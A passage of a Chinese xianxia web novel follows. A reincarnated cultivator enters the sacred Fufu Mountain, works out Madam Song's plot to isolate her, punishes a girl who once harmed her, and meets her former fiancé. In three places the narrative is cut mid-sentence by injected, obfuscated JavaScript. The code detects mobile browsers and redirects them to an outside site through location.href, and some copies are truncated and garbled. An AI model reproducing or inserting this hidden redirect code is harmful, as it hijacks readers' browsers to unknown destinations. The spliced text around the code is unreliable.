先前拿她当空气的众姐妹一改嘴脸,对其嘘寒问暖,连先前隔壁峰头的少年也隔三岔五便来玲珑院串门,一群人东拉西扯,无非是要探听她修为来源,以及—— 那所谓的去覆羽山的考校,究竟是什么? 这也不难理解,众人都是被青阳子测过灵骨,千挑万选来到此地,自然也是心高气傲,想要于修行之路更上一步台阶的。而此时人人皆以为她得了宋氏看重,自然会对之后的考校内容透露一二,谁知扶萤是真的全然不知,一头雾水。 对于自身修为来源,扶萤自然便是延续了对青阳子以及宋夫人的说法,只称是梦中神女赠予。而对于那所谓的考校…… 她前世师从玄极宗,对这传说中修行者的至高神山虽然也曾心有向往,但覆羽山隐藏在大阵中,两百年方开启一次,因此即便她再好奇也是无从进入,只听闻入山修炼的考校条件颇为严苛。 然而她要再打听下去是怎样个严苛法,旁人却又语焉不详起来,无论是曾进入过那山的本门师长还是其他门派的前辈高人,对此皆是讳莫如深。前世的扶萤只道他们藏私,而经历了重生这样的古怪事情,她倒是认为,或许那所谓的考校本来便是难以言明,不可捉摸的。 ——就好像修者常说的“天道”一般。他们说天道垂怜,天道降罪,但所谓的天道究竟是什么?不过冥冥中某种摆弄众生的力量罢了。 扶萤将自己的猜想与众人一说,后者虽然口中应声,可明显并不相信她这种虚无缥缈的说法。一少女眼珠一转,忽地缠上她手臂,软声道:“楹姐姐,我还不知道那山的状况呢。你从前饱读诗书,见多识广,可否和姐妹们多说一说呀?” 扶萤抬眸看了她一眼。这人名唤宋纭,也是玲珑院一众姐妹中的一位——她们人太多,每个人个性又不甚相同,扶萤懒怠与她们相处,至今人都还认不全。 而之所以她能记得宋纭的名字,乃因她还有个孪生妹妹,名叫宋绾,这俩姐妹成日同进同出,腻在一起,但性格迥异非常。姐姐宋纭泼辣伶俐,妹妹宋绾文静柔弱,平日里总是一个跟在另一个身后,好似背后灵,让扶萤不想注意到都难。 就拿现在来说,宋纭来环住她胳膊,宋绾就从她姐姐身后探出脑袋,一双水润眼眸看着扶萤,目中满是好奇。 扶萤有种自己被小动物盯上的错觉,僵了片刻后,她轻叹了口气,说起了自己所知道的覆羽山。 却说覆羽此山乃是上古仙魔之战后遗留下来的一处神魔道场,因山在远古灵脉之上,山中灵气充裕,是寻常地界的十倍不止,附近又有许多先贤所留下的洞府,故十分适合修者悟道,吸引了海内十洲各方修士来山中参悟游历,寻访先人所赠妙法机缘。 但若珍宝人人皆可享有,其珍贵便大打折扣了。因此从六百年前起,三大世家便牵头将此山纳入一芥子须弥境中,从此覆羽山虽仍矗立于凤麟洲上,但凡人所见不过其通过阵法投下的虚影,真正的山门每两百年开一次,除却世家子弟可入内之外,只有名门大派中颇具潜力的年轻弟子才有进山资格。 前世的扶萤每日刻苦修炼,便是以进覆羽山修炼为目标,可不料她是个短命鬼,没等到山门开的时机就撒手人寰。然死过一次后,从前她梦寐以求的机会却近在眼前,这何尝不是命运的捉弄呢? 想到此处,扶萤不禁顿了顿,面上浮现一丝哂笑。 见她停住,宋纭连声催促她继续,扶萤只好接着说下去。 却说当今修行者虽大半来自世代修真的名门,但仍有不少出身贫寒的凡俗子弟,他们无家族资源托举,但靠着自身天资聪颖,或者无意中得了机缘而踏上修途。而世家此举几乎将宝山纳为私有,自会引起寻常散修不满,修界一时怨声四起,直指世家为一己之利视天下苍生发展于不顾。 口诛笔伐,尤甚于刀枪剑戟,彼时的三大世家势力根基还未像现在一般盘根错节,为安抚众散修情绪,他们便想了个法子——在山中设立“天”、“地”、“人”三院,其中天院自然全是生来便如明月高悬天空的贵族子弟,地院则为寻常的修者之后设立。此二院原本便在建造计划之中,说来不足为奇。 而只有人院,是专门为收纳凡俗人家的孩子而设的,其门槛相比前两院要松散不少,当中弟子来自五湖四海,三教九流,不论他们在人界是干什么的,只要有尚佳的根骨,有修真的潜力,便可通过考校入院,享有与前两院相同的修行环境与权利。 三院统一排课,由不同夫子教习,并设置旬考,年考等,令不同学院之人互相切磋比试,探讨交流。不仅如此,学子们在山中学艺的同时,还可根据自身能力接一些院内发布的任务,譬如下山降妖除魔之类,任务完成后可获灵石奖励,用以购买修炼所需的法器、丹药等。 如此,关于世家的闲言碎语才算消弭。“天地人”三院的制度延续至今,轮到他们,已经是第四届学徒了。 …… 这些都是她前世所了解到的覆羽山,扶萤慢慢说完,收回远望天空的目光,这才发现身边不知何时已经聚了一大群人,少年少女们个个面带神往,好似已经进入了山中,过上了那等在山学艺,下山捉妖的逍遥生活。 “我们虽然只是宋氏旁支,但真要进去了,定然是入‘天院’的!和那些凡夫俗子可不一样。”宋纭嘟囔着。 但也有人质疑扶萤的话:“你怎么知道这么多?是从何处看来的?” 面对质疑,扶萤沉默不答,再要问她,她便称今日说得累了,抛下众人回了房去。 房中红豆早已等候着,扶萤一入内,她便上前为之换下衣衫,又捏肩捶腿。 近日扶萤风头正盛,她作为其侍女也沾了光,摇身一变为院中有头有脸的人物。此时她衣着光鲜,哪还有半分从前在别庄时谨小慎微的模样,伺候了扶萤好一会儿,她才难抑兴奋地道:“小姐,我们什么时候才能去山里呀?你方才说的话我也听到了,山中真的可以让我这样的凡人也修行吗?我也可以去降妖除魔吗?” 扶萤将在她肩上的手握住,淡道:“自然是可以的。” 红豆便欢呼一声满屋子跑,看得扶萤面上也难得有了笑意。 ** 日子这般平静过下去,待主阁那边终于有使者传来消息,告知众人山门不日便要打开,令他们可做准备之时,已经又是一月后了。 夏日已近尾声,池中荷花谢了大半,只留莲蓬孤零零立着,不时有蜻蜓来栖。 听得院中吵闹,扶萤推门出来看,见来人是容霞,脚步一顿。 “夫人与宋楹姑娘相谈甚欢,又听她说起与你们姐妹情深,便免了你们的考校,直接入山便可。”容霞也看到了扶萤,抬手唤她过去,又握住她的手,二人腕间手镯轻撞,“你来了,我正与她们说起你呢。”她低头,看到扶萤手腕上那碧玉镯子,笑道,“这是夫人的贴身饰物,你可要好好戴着呀。” 隔壁的少年们此时也闻讯赶来,在人群后探头探脑。 容霞看到他们,笑容淡了些,话锋也一转:“可宋楹只说带这院里的姑娘们,你们这些小子,便仍旧要过琉璃妙境的考校,通过者方能抵达山门。” 姐妹情深?琉璃妙境? 扶萤心中早已疑窦横生,而身边一众少女欢呼起来,少年们则是看了看她,目光闪烁。 没等扶萤再问清楚状况,容霞便笑着朝她一点头,施施然退下了,留给众人一道婀娜倩影。 “走吧!我就知道她不会管我们的……”待人彻底走远了,少年们看看扶萤,便互相拉扯着离开了,口中道,“亏我还以为她是好人!可竟然丝毫不顾血缘亲情,连捎带上我们也不肯……” “人家可是夫人跟前的红人了,连自己的镯子也送给她,我们又算得了什么?” …… 细碎低语远去,扶萤听在耳中,却不辩解,只是眉心轻皱。 “先前,是我们不好。”宋纭上前来,郑重拉住她的手,“我本担心阿绾难以通过考校……不料你连此事都念着我们。从今往后,你的事便是我的事,我宋纭别的不说,这点义气还是有的,定结草衔环,报此恩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883600|176411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德!” 她说话时,宋绾仍是跟在她身后,静静看着扶萤。 她开了话头,其余少女也都拥上来附和道:“正是此理!大家既然要同去修行了,从今往后,就应姐妹相互扶持才对。” “我们从前也并非有意冷落疏远楹妹妹,大家都是一家人,进山之后也该多多走动联系……” 扶萤被她们扯着,目中是一张张如花笑面,可她牵了下嘴角,却笑不出来。 宋氏是在搞什么?她却看不透了。 第二日正午,众人齐聚碧霄峰顶,午时一到,宋夫人乘着祥云悠悠飘至峰顶上空。 她还是那日的素净打扮,只是头戴珍珠宝冠,脑后缀了白纱罗,手拿一白玉瓷瓶,瓶中有一柳枝,瞧着更像观音了。 宋华月与岑纤一左一右跟在宋氏身后,前者面无表情,后者则像是才与谁吵过架似的,面色绯红。 扶萤视线在她二人身上一扫,想起岑纤对宋华月似有不满,便也不奇怪她们为何是此等神色了。 她目光幽幽落在了宋氏身上。 眼见众人皆到齐了,宋氏也不再等待,只见她空出的左手捏了个繁复手诀,朝天一指,天际立刻凭空出现一形似梅花的法印,印记泛着紫光,其中似有无上威能涌动,令观者胆寒。 “那是我们宋氏一族的家印,家主竟将此物也留给夫人,他们感情可真是好呀……” “是呢,若感情不好,家主也不会放心一闭关便是十年呀。”身边有人在小声议论,语气艳羡。 扶萤依旧紧盯宋氏动作,见她口中似是颂了几句咒语,霎时,原本晴朗的天色猛地黯淡下来,而云中印记光芒更盛,须臾印记中竟落下一道紫气,直直涌向宋夫人! 那道紫色洪流涌入身躯的一刹那,宋氏身上的羸弱之感便烟消云散了,她闭了闭眼,再睁开时,目中似有青芒闪过。 她随即手捻瓶中柳枝,朝着面前空气挥出,柔韧细弱的柳条如鞭,下一刻,空中被生生撕开一条裂缝。 一种玄之又玄的气机从裂缝中传出来,扶萤认出这是一处空间传送法阵,法阵的另一边,应当便是覆羽山。 宋夫人又抬手朝着众少女一点,后者脚下立时生出祥云,将她们一个个托举着进入裂缝之中。 扶萤与红豆乘着同一驾云,红豆眼见离缝隙越来越近,忍不住捉紧了扶萤的手,而扶萤却回头,最后又看了宋夫人一眼。 女人却在此时忽地抬眼,与她对上目光后,唇边绽开一抹笑意。 扶萤忍不住皱眉,可下一刻,她眼前便漫开朦胧黑雾,什么也瞧不清了。漫长的黑暗中,只有红豆手心湿冷的汗水提醒着扶萤,她仍在现实之中。 不知过了多久,眼前云雾终于散开,扶萤抬眸,只见一青山耸立在云海间,静默如碑。 这就是……覆羽山吗? 她往前走了几步,发现自己正站在一处木制的牌坊前,牌坊中间的匾额无字,两侧楹联也是一片空白,着实古怪。 她静静站着,又过了约莫一炷香时间,身后才陆续有其他人也到了,只是个个脸色苍白,瑟瑟发抖,像是受了惊吓。 扶萤皱眉,正要上前询问,当中却有一人直直走来,抬手便朝她面上打。 她伸手攥住来人手腕,定睛一看,此人正是昨日还与她姐妹相称的宋纭。 “你这贱人!”宋纭此时鬓发散乱,满面清泪,脖颈上还有不知从何处弄来的红痕,正有血丝缓缓渗出,“我就知道你不安好心!你还我妹妹命来!”她哭声凄厉,而周围人却只是木然转过眼珠看她一眼,眼中犹带惊惶。 扶萤的心骤然沉下去:“你说清楚,什么是我‘不安好心’,宋绾又出什么事了?”她反手扣住了少女肩膀,“我们不过穿过一处空间阵法,四周什么也没有,不是吗?” 宋纭被她晃了晃,像是才从幻境中清醒过来,嚎啕大哭:“什么空间阵法?四周分明全是妖魔鬼怪!阿绾被它们捉走了……她死了!” 扶萤愣了愣,又环视四周其他少女。后者只是站在远处怯怯看她,全无昨日的亲近意味了。 她的心骤然沉下去。 8. 前尘 扶萤仍是握着宋纭肩膀,还要细问她所谓的妖魔是什么,然后者在大哭时仍不忘报仇,见扶萤稍稍凑近,立刻又伸手要扇她耳光。 许是有些神思不属,她这下没能及时躲开,让少女尖利的指甲在自己脖颈同样位置也划下了三道痕迹。 血珠顷刻渗出来,扶萤皱眉,还没说话,身后的红豆已经护主心切,扑上来加入战局,与宋纭扭打在一起。 红豆这丫头近来性格变了不少,扶萤发现她骨子里或许是有些泼辣的,只是从前生活在别庄时习惯了压抑天性低头顺从,而只消一点火星,便能让本性复燃。譬如此时,扶萤立刻便要去将红豆拉走,然她发觉后者用力极大,她一时竟然分不开二人。 就在三人乱作一团时,岑纤与宋华月也出了传送阵法,她们身后则是零零落落的几个少年,自此,宋家通过考校的子弟已经全数到齐,空间裂缝在众人身后缓缓闭合。 “都是我宋氏之人,在山门前拉拉扯扯,成何体统。”宋华月几步上前,冰冷目光于二人面上扫过,着重在扶萤身上停了停,这才又转向宋纭道,“你妹妹没死,不过是未通过幻境的测试,待择院仪式结束后你可去看她,但她已然失去了入山资格,之后只可待在主宅,做个凡人了。” 能留得命在,已是十足幸事,可仙途在望却再次跌落凡尘,相比立时死去,谁又能说清哪个更悲哀呢? 宋纭闻言,反应良久,这才松开扶萤与红豆,又哭又笑着委顿在地,颤抖着捂住了脸。 宋华月漠然自一众人身边走过,停在牌坊前,仰头看着无字匾额,目有深思。 岑纤也走过去,有样学样地负手在身后,一同看那匾额与楹联。只是她看了良久没能看出端倪,不由发话:“你在看什么?” 宋华月却像是没听到她的话,仍是盯着匾额出神。岑纤难得主动找她搭话,落了个没脸,面上才消下去没多久的绯红又缓缓漫上来。 就在岑纤酝酿着再次爆发之时,牌坊后的茫茫白雾中传来道朗笑,一女声幽幽发问:“不知两位姑娘看这许久,可有看出什么玄机?” 众人抬头看去,雾气褪去些许,一个身着灰色麻衣,眉目疏朗的女子走出来。她双手拢在袖中,头顶仅以木簪简单挽了个发髻,袖子还打了补丁,和寻常衣着光鲜的修士截然不同。 宋华月淡淡道:“匾额与楹联无字,是说修行不应有条文明律约束,万法归一,只要能成就真仙之体,便皆是仙道。” “宋小姐果然聪慧。”女子微笑点头,引得宋华月看她。 “你是?”她这才问。 “我乃覆羽山人道院掌院,晏参商。你们唤我晏真人便可。”女子拢着衣袖慢悠悠回身,“你们既然已经都到齐了,便随我来罢。” 她话音甫落,一步便踏至数丈外,丝毫没有要等待众人的意思。扶萤将红豆一拉,也运起真气方才能不远不近跟在她身后,至于除却宋华月与岑纤的其他人,便只能小跑着跟上,片刻便气喘吁吁。 一路行上石阶,雾气消散,山道两侧的情景逐渐显现在众人面前。 只见他们现在所在正是一条直通峰顶的长长山路,道路每隔一段距离便有一座木牌坊,而两面则是大大小小无数座矗立在云海间的青绿山峰。山峰有高有低,鳞次栉比,峰上有许多院落建筑,皆白墙黛瓦,清雅非常,不同峰之间又以云桥、浮山相勾连,四处仙鹤翔舞,流霞散绮,一派画中才能得见的神仙景象。 先前的惊惶神色逐渐从众人面上消失,取而代之的是新奇与兴奋。便是扶萤,也在这样的环境中有些失神了。 不过她却不是为景色所迷。而是越往山上走,空气中的灵气便越是浓郁几分,若有实体一般压在人身上,令她经脉都微微发热。 扶萤深吸一口气,心道果然是建在灵脉之上的神山,在此修炼,定然事半功倍。 她又看了眼周围人,除了宋华月与岑纤面有异色外,其他人仍是对着周遭景色啧啧赞叹,便知这感知只有踏入修途之人才会有了。 山道一时只闻少年少女们不时发出的赞赏与惊呼。但不过半炷香时间过去,多数人面上的欣喜便被痛苦取代了。 因为晏参商的步伐似乎越来越快,即便后面的人发足狂奔,也只能堪堪追上她的脚步。 “晏、晏掌院,你可否……稍微慢些,等等我们?”便有人忍不住向她提议,可晏参商闻言,不仅不慢,反而再一次加快了步子。 众人立时再次与她拉开一大截,扶萤还要拉着红豆,便更是落后。她不甚在意,反正山路不过这一条,早上去或者晚上去都没什么要紧,但红豆却拍拍扶萤的手,示意她不用再拉着自己,随即一屁股坐到了台阶上:“我不行了……”她长吐一口气,一副要在这坐到天长地久的模样,“我要歇会儿……小姐,你先上去罢!” 扶萤看她确实已经面露疲色,便不勉强,自己几个纵跃跟上,身影飞速远去。 这一路走来,身边同伴越来越少。待终于在峰顶立足时已是黄昏时分,此时晏参商身边仅余扶萤、宋华月与岑纤三人,而这三人脸色也都不算太好。 三人中修为最高者当为宋华月,她自小便在宋家修炼,如今已经筑基后期,很快便可入凝脉境,其次便是初入筑基期的扶萤。而最末的,自然便是还是练气期的岑纤了,可她果真不服输,即便已经累得脸色绯红,也硬是没抱怨一个字。 想来如今状况也是晏参商有意等候几人的结果,若她当真如寻常一般行走,她们只怕连其影子都挨不着。三人心中皆浮起这样的想法,也对漫漫修途升起更多敬畏。 此时恰逢日暮时分,一轮橙红圆日正缓缓沉下去。晏参商抬步走到崖边,三人也跟上,但见崖下云海翻腾,气象万千。 晏参商:“你们可知我为何要同你们一步一步走上山,而非直接施展术法将你们捎带上来?” 宋华月皱眉不语,岑纤更是气喘吁吁,话都说不出来一句。 只有扶萤接口:“登山之途便似修行,须知繁华万里终散去,登到极处,唯有孤寂。” 晏参商看她一眼,神情柔和:“哦?你也是个聪明孩子。叫什么名字?” 扶萤平平道:“掌院叫我阿楹便好。” 晏参商一点头,忽地伸手隔空朝着扶萤脖颈点了下,又反问她:“萤火之萤?” 宋华月视线扫来,扶萤伸手抚过脖子,先前被宋纭抓出的痕迹已经消去了,她抬眼看进晏参商眸中,难得露出些许真心笑意:“……是楹联之楹。” 晏参商“唔”了声,不再多言。 几人又等候良久,直到天色彻底暗下,其他人才终于拖着步子慢吞吞爬上来,晏参商并未再多作训话,只挥手唤来驾鹤仙童,将男女引领到两处院中各自下榻。 一切似乎回到了初到宋家之时,同样是雅致清幽的院落,共住一屋的主仆,区别只在于院中宋氏女少了一位,空气中的灵力增了许多。 而许是因为终于踏上这片她于前世曾朝思暮想的地界,扶萤难得没有彻夜打坐,反是做了个梦。 梦中她还是玄极宗大师姐,在宗门内一处深潭瀑布边练剑。潭水碧绿,散发寒气,瀑布泉流飞漱,溅起银屑如雪。 她脚踏在潭中一块块凸起石块上,任由冰凉水汽扑面,长剑在她手中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“什么?”许是因为瀑布流水声嘈杂,扶萤没听清他的话,于是又问了一次。 洛呈顿了顿,却只笑着摇头,随即转身默默踏入林中,就像他来时一般悄无声息离开了。 扶萤未放在心上,再次开始不知疲倦地练剑,拾得剑嗡鸣响彻幽涧,与流水声相映成趣。 但这一次,在梦中,扶萤却听清了那人的话。 他说的是…… “师姐,我可以唤你‘阿萤’吗?” …… 扶萤忽地睁开眼。 四面还是素雅的屋中布置,天青帷帐,竹编屏风。外间红豆早已熟睡,正发出微小的鼾声。 可她从梦中醒来,却再无法入睡,索性打坐了一晚,天明方起身。 扶萤心知自己即便已经重来一世,也仍然难以摆脱前世困局。 从前同修情真意切,她不信洛呈对他的情谊皆是假装。 为何那样对她? 师弟也好,之后的许多其他人也好,都是她真心以待的人。他们究竟为何…… 扶萤知道她不应再执着前世,但冥冥中总有个声音在她心中发问,令她即便在打坐时,依然会不时出神动念。 别急。别急。她对那个声音道。 我已经到了覆羽山,那么前世许多熟人便都有再见之机。 她一定会弄清楚一切。只要能再见到她的好师弟,以及每一个在她被诬时,曾踩上一脚的人。 然扶萤没料到的是,没等“好师弟”露面,另一位意想不到的客人却先一步,敲响了她住处的屋门。 9. 毒计 在众人各自下榻院落后,晏参商又召集过他们一次。她依旧言简意赅,只说山中最长的一位掌院前些日子出山去料理一起魔乱,需等他回返方可举行择院大典。 留下这句话后,她便再未出现过,而天、地、人院的其他夫子除却有几位曾派青鸟传信邀宋华月聚首,其他的就更是自始至终未曾露面。 一时之间众人好像又回到了在碧霄峰上的生活。只是彼时还有课上,现在众人未曾择院,就不算正式入学,只得成日在院中无所事事,有些好奇想去别处峰上逛逛的,又不会腾云驾雾的法术,只得看着各峰之间的天堑叹息。 而对于扶萤来说,彼时她不过是被冷遇无视,可经过之前的入山考校一事,少年们认定她可向宋氏为其求情却缄口不言,少女们则觉得扶萤分明对她们之前冷落怀恨在心却假作大度,装作为她们向宋氏求了恩典,实则目的在于令她们放松警惕,对她更是避如蛇蝎。 扶萤想过将所有事摊开来说清楚,可众人对她误解已深,又有宋纭因妹日夜啼哭,她此时强行解释,却有些像急着与这一切撇清干系了。 反正,车到山前必有路,事情总是会有解决办法的。扶萤对此心平气和。 但暂且认下这个黑锅不代表毫无作为。扶萤之后曾找到一位胆小的宋氏姐妹旁敲侧击,那人面对她虽神色躲闪,但在她执着追问下,还是吐露了她们穿越空间裂缝时的见闻。 却说众人和扶萤所见所感完全不同,那日她只觉眼前骤然陷入黑暗,良久后像是眼前云雾被拨开,便已到达了山门牌坊前。可听这人说来,她竟是驾云穿过了一个不知有多长的幽深山洞,四下漆黑一片,上不接天,下不接地。 就在她以为自己安全时,黑暗中猝然涌现无数妖魔,要将她扑落云端。她一边尖叫躲避,一边以身上武器抵御,斗得狼狈不堪,以为自己就要死去之时,才又重见天光,发觉自己抵达了覆羽山。 听不过片刻,扶萤便明白了。 原来所谓的“琉璃妙境”是个由心魔而生的幻境,布置在空间法阵之中,每一个经过的人皆要受其淬炼。众人所见的鬼怪并不存在,不过是内心畏惧的投射,而她,却是直接略过了这一环节,平平顺顺到了终点。 这背后是谁的手笔,不用想也知道。 先是以她的名义向众女卖好,又反手玩这一手阴招,手段虽浅显,但着实有效,着实好用。 尤其是众人方历经“生死磨难”,惊魂未定之时,却见扶萤一人带着侍女悠哉游哉立在前面,即便对这一切事情心有疑虑,也会自然而然落入宋夫人设计之中,对扶萤心生怨怼。 只是宋氏如此费心,还没等她在覆羽山干出一番成绩便要先断了她与本家人的联系,又为何不干脆便不让她入山,从根源杜绝她不受管束的可能性呢? 自己虽确有神力在身,但从那日宋氏召唤家印的模样来看,她即便抱病,捏死一个扶萤还是轻轻松松的。 是什么原因,让她既要将自己送入覆羽山,又做此算计布置? 扶萤眉心微拧,那被她拦住的少女见状,眼神闪了闪,就要趁机快速绕过她离开。 “……慢着。”扶萤却忽地再次叫住她。 她慢慢走过去,凝眸细看女子的脸。 面前人有一张白净清瘦的脸,柳叶样微弯的眉毛与眼睛,色泽浅淡的唇下,还有一粒小痣。 “为何我总觉得……你很怕我?”扶萤在她面前踱步片刻,抬手轻轻搭上女子肩膀。不同于其他人对她怨恨中带着零星妒意,眼前少女眼中有着真切的恐惧,像是十分担心自己会对她做坏事一样。 “我们从前有过节吗?”她问。可此人着实面生,即便是在之前碧霄峰上那么长时间的相处中,也未给扶萤留下什么印象。 “我……”女子目光游移,身躯在扶萤手下僵硬好似石像,片刻后,竟然簌簌发起抖来。 像是过了永恒那么长的时间,她顶着扶萤雪亮目光,终于难以支撑,竟然直直跪了下来。 “是我做的!”她道。 扶萤不及讶异,便听她抖着声音,倒豆子一般将一切都吐露出来:“我、我承认……是我给了那郎中银两,让他谎称你有心疾。可我也是为你着想!你不知道,别庄里的姐妹们嫉妒心有多强……你这般美,又这般瘦弱,若是被她们盯上了,你不会好过的。” 她说着说着,声音渐渐停止了颤抖,像是将自己也说服了,转而一把揪住了扶萤衣摆,仰头盯着她:“你不可怪我,我也是为你好!况且这对你也没有影响不是吗?你现在这么厉害,连宋夫人都看重你,又何必追究从前的小事?” …… 原来是这事。 扶萤眨了眨眼。她这才记起来,最初的最初,宋楹之所以会独自离群索居于雪霏院中养病,便是因为一个“心疾”的诊断,而后她因这莫须有的疾病疏于炼体,日渐羸弱,乃至被岑纤设计的一次落水夺走性命……桩桩事件,仿佛因果轮回,宿命既定。 她离开别庄后便将此事忘在脑后,不料今日歪打正着,竟将元凶诈了出来。 “你不会怪我吧?不会报复我吧?”跪在她面前的少女还在死命撕扯着她衣摆,眸中落下泪来,可怜至极,“我对你没有任何威胁了……你就放过我,好不好?” 扶萤俯视着那双蕴了春水般的美丽眼睛,忽觉索然无味。 她一把将自己的裙裾从那人手中扯出来,回身欲走,可思及这到底是原身的因果仇怨,她借了其躯壳,便不可不报。 扶萤于是又回头,一把攥住少女纤细手腕,往她经脉中输入一道冰冷灵气。 一缕不属于那人的灵气。若对方此后心向良善,便会永远潜伏在她经脉中,而若她再生恶念,便会成为她突破时的一念心魔。 少女忽地死命挣扎起来,不惜将手腕弄出道道红痕。她感知到体内那道不属于自己的气机,尖叫着瞪视扶萤:“你对我做了什么?你做了什么!” 她先前的可怜神色荡然无存,神色狰狞有如厉鬼,再次扑上来,要捉住扶萤的衣袖。 这一次,扶萤躲开了。她一拂袖,人须臾已在数丈之外,只留下一声冷冷反问:“你说庄中姐妹善嫉好妒。可盯上我的是别人……还是你?” 少女忽地不说话了。 扶萤转身离去,走出不远,才听身后又传来幽幽低泣声。 此人或许终生都会活在被报复的恐惧中了。 ** 扶萤想到此处,便又在纸上写上了“复仇”二字。 她此时正坐在屋中桌案前,面前桌上铺开一张宣纸,纸上被她写写画画,乱作一团,依稀可辨“宋家”、“玄极宗”、“天地人”等字样,显然主人在过去一段时间内曾有一番苦思。 然想不通的事,便不必再想。扶萤很快将纸收起来在烛火上点燃,又一口气将飞灰吹得四散无踪,起身去榻上打坐了。 她从前强行提升修为至筑基,即便魂魄有前世的金丹之能,但躯壳毕竟还是个弱女子,常生力有不逮之感。 因此她到此地以来便日夜勤修,此时早将先前强行筑基时不稳的根基巩固好,更因着覆羽山中灵气着实旺盛,她在筑基之上又进三层,已至筑基中段。 修士修行可分练气、筑基、凝脉、金丹、元婴、化神以及渡劫七个阶段,每一阶段又可分五层,一旦五层届满,修为便会迎来突破,迈入下一级。 而自她于别庄筑基至今,满打满算也不过一月,一月达筑基中期,这等修炼速度放在常人身上,可称是骇然了。 但扶萤知晓,现在还远远不够。 她需要解开前世心结,面对的或许是她此时都难以想象的对手,如果因为些许成就自满,只怕真的会再死一次,白白浪费机缘。 这一打坐不知时间,待再有意识时,她是被门外的对话吵醒的。 对话的声音有男有女,但女声说得多些,男声回应寥寥。扶萤睁眼,心道自己门前已许久没有这般热闹了。 但热闹归热闹,扶萤并不打算出门查看状况,她甚至连偷听他们说什么的兴趣也无,索性当其不存在,重新闭眼就要继续入定。 可外面的人明显不打算让她躲清静。片刻后,她的门被敲响,有一个陌生的男子声音唤她:“宋楹姑娘?你在么?” 这下便不能装没听见了。扶萤起身理了理鬓发衣衫,推门出去,左边的廊柱下立着一黑衣青年,眉眼含笑,玉树临风。 她目光又一转。岑纤抱臂站在另一边廊柱下瞪她,双眸都快瞪成斗鸡眼,两个人一左一右,好似门神。 一看岑纤那表情,扶萤对来人身份还有什么不明白的。 “沈公子。”她直视着男子,微微颔首。 青年看她的目光有些奇异:“我先前出山了一趟,今日才回来,听你也来了,便来寻你。”他上前一步,“你竟然已经有筑基之能,怎得不来信和我说?” 扶萤没接话。这话从主动解除婚约的人口中说出来,怎得感觉有些古怪呢? 不过她又得知一个信息——想必原主是经常给他写信的。 岑纤眉头攒得死紧,站在旁边好似个监工。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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看出扶萤话语间是真没有要和沈应堂攀关系的意思,岑纤对她的态度好不少,但谁要说她姑母坏话,她却是第一个不答应的。 沈应堂笑而不答。 原来宋氏打的是这样的主意!扶萤心中冰凉。 先坏了她与本家子弟的关系,而后又在贵族中传播她的“狂妄之言”,那些心高气傲的公子小姐们本就目空一切,她不过旁支庶女一朝得势,自然会引来诸多不满打压。 此举,是想将她彻底架在世家贵族的对立面,向上求助投靠皆无门。向下,能自称“天命”混入覆羽山的野心家,谁又会真想要与凡俗人为伍呢? 宋氏定然是如此料定的罢。 扶萤想通关节,心中忽地浮现一丝深重戾气。 既然如此,那顺着你又何妨? “多谢你。”扶萤想透前因后果,朝沈应堂一点头。这声道谢却是真心实意的,他本不必专程来这一趟,现下看来,这沈公子对原主或许并非无情。 只是不论有情无情,宋楹身躯里已经换了个魂魄,自己也无法给他任何回应。 沈应堂似乎还要与她说什么,扶萤却没了心情,岑纤也再次凑上来拦在二人中间,于是他只得眼看着扶萤回房,将屋门合上了。 此女……似乎和从前不太一样了。 作为他很长一段时间内的婚约对象,沈应堂是仔仔细细打探过宋楹底细的。不仅派人几番去别庄调查,自己更是数次隐去身形,去雪霏院观察过宋楹日常起居。 这行为说来令人不齿,他也从未对外人道过。可试问谁会对相伴一生的道侣毫无兴趣,能忍住不去探究其性格身世呢? 因此,发现对方乃是自己最不感兴趣的那一挂弱女子后,他便甘愿领受母亲严厉责罚,也执意与之退婚,只为在未来遇见他喜欢的女子时,能放心追求她。 至于退亲会对一个孤女产生何等影响,便不再他的考虑范围内了。 可无论是他之前从旁人口中听来的宋楹,还是眼前的宋楹,都和那个面色苍白,成日倚在栏边看书的少女截然不同。 是真的明珠蒙尘,还是另有隐情? 沈应堂眼中浮现些许兴味,决心要将此事调查到底,一旁岑纤却打断他思绪:“沈哥哥,你之前答应我的礼物呢?不会是忘了吧?” 少女双手在胸前绞紧,眉心微蹙,睁大眼睛,即便故作娇憨,也令人生不出讨厌之心。 “……你的事,我怎会忘?”他这才回神,笑着从袖中取出一巴掌大小的纸鸢递给岑纤,“此乃聚窟洲巧匠所造的小鸢,名唤‘逐魂’,很有些奇诡用处。你素日爱捣蛋,正好拿去研究研究……” 岑纤双眼放光将纸鸢接过来,如获至宝捧在手中。随即又得寸进尺贴上去:“哦?那沈哥哥不如再教一教我,这小鸢是怎么个用法呀?” …… 两道声音逐渐远去,就像来时那样迅速消失了。 10. 择院 又过数日,这天正午日头正猛,人人皆在自己屋中休息,忽听远处各峰人声嘈杂,像是出了什么乱子。 院中有人闻声出去探查,不过片刻回来高喊着:“说是最大的那位掌院回来了!”说完提着裙摆又朝外跑。 “小姐!我们也去吧!”红豆闻言,拉着扶萤也出了院门,这才见远处各峰上早已人头攒动,无数弟子闻讯出门,翘首望天,神情中满是殷殷期盼。 头顶厚重云层翻滚,须臾后,忽有一道金光如闪电在众人目中划过,随即迅速没入远处云海间消失不见。又过片刻,从穹顶传来了低沉钟鸣,轰隆响了三下,雄浑苍凉的声音在山中久久回荡不散。 玄黄钟。传说只在山中有要事时才会奏响。 